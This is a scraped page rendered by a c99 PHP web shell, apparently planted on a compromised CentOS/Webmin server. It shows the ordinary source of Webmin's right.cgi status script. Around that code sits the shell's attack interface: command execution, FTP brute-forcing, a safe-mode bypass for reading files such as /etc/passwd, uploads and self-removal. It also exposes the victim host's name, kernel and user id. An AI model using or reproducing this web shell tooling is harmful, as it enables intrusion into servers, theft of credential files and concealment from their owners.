!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/gray-theme/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     right.cgi (8.82 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show server or domain information

BEGIN { push(@INC, ".."); };
use WebminCore;
&init_config();
&ReadParse();
&load_theme_library();
if (&get_product_name() eq "usermin") {
    $level = 3;
    }
else {
    $level = 0;
    }
%text = &load_language($current_theme);
$bar_width = 300;
foreach $o (split(/\0/, $in{'open'})) {
    push(@open, $o);
    $open{$o} = 1;
    }

$prehead = defined(&WebminCore::theme_prehead) ?
        &capture_function_output(\&WebminCore::theme_prehead) : "";
&popup_header(undef, $prehead);
print "<center>\n";

# Webmin logo
if (&get_product_name() eq 'webmin') {
    print "<a href=http://www.webmin.com/ target=_new><img src=images/webmin-blue.png border=0></a><p>\n";
    }

if ($level == 0) {
    # Show general system information
    print &ui_table_start(undef, undef, 2);

    # Ask status module for collected info
    &foreign_require("system-status");
    $info = &system_status::get_collected_info();

    # Hostname
    $ip = $info && $info->{'ips'} ? $info->{'ips'}->[0]->[0] :
                &to_ipaddress(get_system_hostname());
    $ip = " ($ip)" if ($ip);
    $host = &get_system_hostname().$ip;
    if (&foreign_available("net")) {
        $host = "<a href=net/list_dns.cgi>$host</a>";
        }
    print &ui_table_row($text{'right_host'},
        $host);

    # Operating system
    print &ui_table_row($text{'right_os'},
        $gconfig{'os_version'} eq '*' ?
            $gconfig{'real_os_type'} :
            $gconfig{'real_os_type'}." ".$gconfig{'real_os_version'});

    # Webmin version
    print &ui_table_row($text{'right_webmin'},
        &get_webmin_version());

    # System time
    $tm = localtime(time());
    print &ui_table_row($text{'right_time'},
        &foreign_available("time") ? "<a href=time/>$tm</a>" : $tm);

    # Kernel and CPU
    if ($info->{'kernel'}) {
        print &ui_table_row($text{'right_kernel'},
            &text('right_kernelon',
                  $info->{'kernel'}->{'os'},
                  $info->{'kernel'}->{'version'},
                  $info->{'kernel'}->{'arch'}));
        }

    # CPU type and cores
    if ($info->{'load'}) {
        @c = @{$info->{'load'}};
        if (@c > 3) {
            print &ui_table_row($text{'right_cpuinfo'},
                &text('right_cputype', @c));
            }
        }

    # Temperatures, if available
    if ($info->{'cputemps'}) {
        my @temps;
        foreach my $t (@{$info->{'cputemps'}}) {
            push(@temps, $t->{'core'}.": ".
                     int($t->{'temp'})."&#8451;");
            }
        print &ui_table_row($text{'right_cputemps'},
            join(", ", @temps));
        }
    if ($info->{'drivetemps'}) {
        my @temps;
        foreach my $t (@{$info->{'drivetemps'}}) {
            my $short = $t->{'device'};
            $short =~ s/^\/dev\///;
            my $emsg;
            if ($t->{'errors'}) {
                $emsg .= " (<font color=red>".
                    &text('right_driveerr', $t->{'errors'}).
                    "</font>)";
                }
            elsif ($t->{'failed'}) {
                $emsg .= " (<font color=red>".
                    $text{'right_drivefailed'}.
                    "</font>)";
                }
            push(@temps, $short.": ".$t->{'temp'}."&#8451;".$emsg);
            }
        print &ui_table_row($text{'right_drivetemps'},
            join(", ", @temps));
        }

    # System uptime
    &foreign_require("proc");
    my $uptime;
    my ($d, $h, $m) = &proc::get_system_uptime();
    if ($d) {
        $uptime = &text('right_updays', $d, $h, $m);
        }
    elsif ($m) {
        $uptime = &text('right_uphours', $h, $m);
        }
    elsif ($m) {
        $uptime = &text('right_upmins', $m);
        }
    if ($uptime) {
        if (&foreign_available("init")) {
            $uptime = "<a href=init/>$uptime</a>";
            }
        print &ui_table_row($text{'right_uptime'}, $uptime);
        }

    # Running processes
    if (&foreign_check("proc")) {
        @procs = &proc::list_processes();
        $pr = scalar(@procs);
        print &ui_table_row($text{'right_procs'},
            &foreign_available("proc") ? "<a href=proc/>$pr</a>"
                           : $pr);
        }

    # Load averages
    if ($info->{'load'}) {
        @c = @{$info->{'load'}};
        if (@c) {
            print &ui_table_row($text{'right_cpu'},
                &text('right_load', @c));
            }
        }

    # CPU usage
    if ($info->{'cpu'}) {
        @c = @{$info->{'cpu'}};
        print &ui_table_row($text{'right_cpuuse'},
            &text('right_cpustats', @c));
        }

    # Memory usage
    if ($info->{'mem'}) {
        @m = @{$info->{'mem'}};
        if (@m && $m[0] && $m[5]) {
            # Show memory usage with bursting
            print &ui_table_row($text{'right_real'},
                &text('right_used2',
                      &nice_size($m[0]*1024),
                      &nice_size(($m[0]-$m[1])*1024),
                      &nice_size($m[5]*1024))."<br>\n".
                &bar_chart_three($m[5], $m[1], $m[0]-$m[1],
                         $m[5]-$m[0]));
            }
        elsif (@m && $m[0] && !$m[5]) {
            # Show memory usage on a regular system
            print &ui_table_row($text{'right_real'},
                &text('right_used',
                      &nice_size($m[0]*1024),
                      &nice_size(($m[0]-$m[1])*1024))."<br>\n".
                &bar_chart($m[0], $m[0]-$m[1], 1));
            }

        if (@m && $m[2]) {
            print &ui_table_row($text{'right_virt'},
                &text('right_used',
                       &nice_size($m[2]*1024),
                      &nice_size(($m[2]-$m[3])*1024))."<br>\n".
                &bar_chart($m[2], $m[2]-$m[3], 1));
            }
        }

    # Disk space on local drives
    if ($info->{'disk_total'}) {
        ($total, $free) = ($info->{'disk_total'}, $info->{'disk_free'});
        $disk = &text('right_used',
                  &nice_size($total),
                  &nice_size($total-$free));
        if (&foreign_available("mount")) {
            $disk = "<a href=mount/>$disk</a>";
            }
        print &ui_table_row($text{'right_disk'},
            $disk."<br>\n".
            &bar_chart($total, $total-$free, 1));
        }

    # Package updates
    if ($info->{'poss'}) {
        @poss = @{$info->{'poss'}};
        @secs = grep { $_->{'security'} } @poss;
        if (@poss && @secs) {
            $msg = &text('right_upsec', scalar(@poss),
                            scalar(@secs));
            }
        elsif (@poss) {
            $msg = &text('right_upneed', scalar(@poss));
            }
        else {
            $msg = $text{'right_upok'};
            }
        if (&foreign_available("package-updates")) {
            $msg = "<a href='package-updates/index.cgi?mode=updates'>$msg</a>";
            }
        print &ui_table_row($text{'right_updates'}, $msg);
        }

    print &ui_table_end();

    # Show other webmin-generated notifications
    if (&foreign_check("webmin")) {
        &foreign_require("webmin", "webmin-lib.pl");
        &webmin::show_webmin_notifications();
        }
    }
elsif ($level == 3) {
    # Show Usermin user's information
    print "<h3>$text{'right_header5'}</h3>\n";
    print &ui_table_start(undef, undef, 2);

    # Host and login info
    print &ui_table_row($text{'right_host'},
        &get_system_hostname());

    # Operating system
    print &ui_table_row($text{'right_os'},
        $gconfig{'os_version'} eq '*' ?
            $gconfig{'real_os_type'} :
            $gconfig{'real_os_type'}." ".$gconfig{'real_os_version'});

    # Webmin version
    print &ui_table_row($text{'right_usermin'},
        &get_webmin_version());

    # System time
    $tm = localtime(time());
    print &ui_table_row($text{'right_time'},
        &foreign_available("time") ? "<a href=time/>$tm</a>" : $tm);

    # Disk quotas
    if (&foreign_installed("quota")) {
        &foreign_require("quota", "quota-lib.pl");
        $n = &quota::user_filesystems($remote_user);
        $usage = 0;
        $quota = 0;
        for($i=0; $i<$n; $i++) {
            if ($quota::filesys{$i,'hblocks'}) {
                $quota += $quota::filesys{$i,'hblocks'};
                $usage += $quota::filesys{$i,'ublocks'};
                }
            elsif ($quota::filesys{$i,'sblocks'}) {
                $quota += $quota::filesys{$i,'sblocks'};
                $usage += $quota::filesys{$i,'ublocks'};
                }
            }
        if ($quota) {
            $bsize = $quota::config{'block_size'};
            print &ui_table_row($text{'right_uquota'},
                &text('right_out',
                      &nice_size($usage*$bsize),
                      &nice_size($quota*$bsize))."<br>\n".
                &bar_chart($quota, $usage, 1));
            }
        }
    print &ui_table_end();
    }

print "</center>\n";
&popup_footer();

# bar_chart(total, used, blue-rest)
# Returns HTML for a bar chart of a single value
sub bar_chart
{
local ($total, $used, $blue) = @_;
local $rv;
$rv .= sprintf "<img src=images/red.gif width=%s height=10>",
    int($bar_width*$used/$total)+1;
if ($blue) {
    $rv .= sprintf "<img src=images/blue.gif width=%s height=10>",
        $bar_width - int($bar_width*$used/$total)-1;
    }
else {
    $rv .= sprintf "<img src=images/white.gif width=%s height=10>",
        $bar_width - int($bar_width*$used/$total)-1;
    }
return $rv;
}

# bar_chart_three(total, used1, used2, used3)
# Returns HTML for a bar chart of three values, stacked
sub bar_chart_three
{
local ($total, $used1, $used2, $used3) = @_;
local $rv;
local $w1 = int($bar_width*$used1/$total)+1;
local $w2 = int($bar_width*$used2/$total);
local $w3 = int($bar_width*$used3/$total);
$rv .= sprintf "<img src=images/red.gif width=%s height=10>", $w1;
$rv .= sprintf "<img src=images/purple.gif width=%s height=10>", $w2;
$rv .= sprintf "<img src=images/blue.gif width=%s height=10>", $w3;
$rv .= sprintf "<img src=images/grey.gif width=%s height=10>",
    $bar_width - $w1 - $w2 - $w3;
return $rv;
}

# collapsed_header(text, name)
sub collapsed_header
{
local ($text, $name) = @_;
print "<br><font style='font-size:16px'>";
local $others = join("&", map { "open=$_" } grep { $_ ne $name } @open);
$others = "&$others" if ($others);
if ($open{$name}) {
    print "<img src=images/gray-open.gif border=0>\n";
    print "<a href='right.cgi?$others'>$text</a>";
    }
else {
    print "<img src=images/gray-closed.gif border=0>\n";
    print "<a href='right.cgi?open=$name$others'>$text</a>";
    }
print "</font><br>\n";
return $open{$name};
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0099 ]--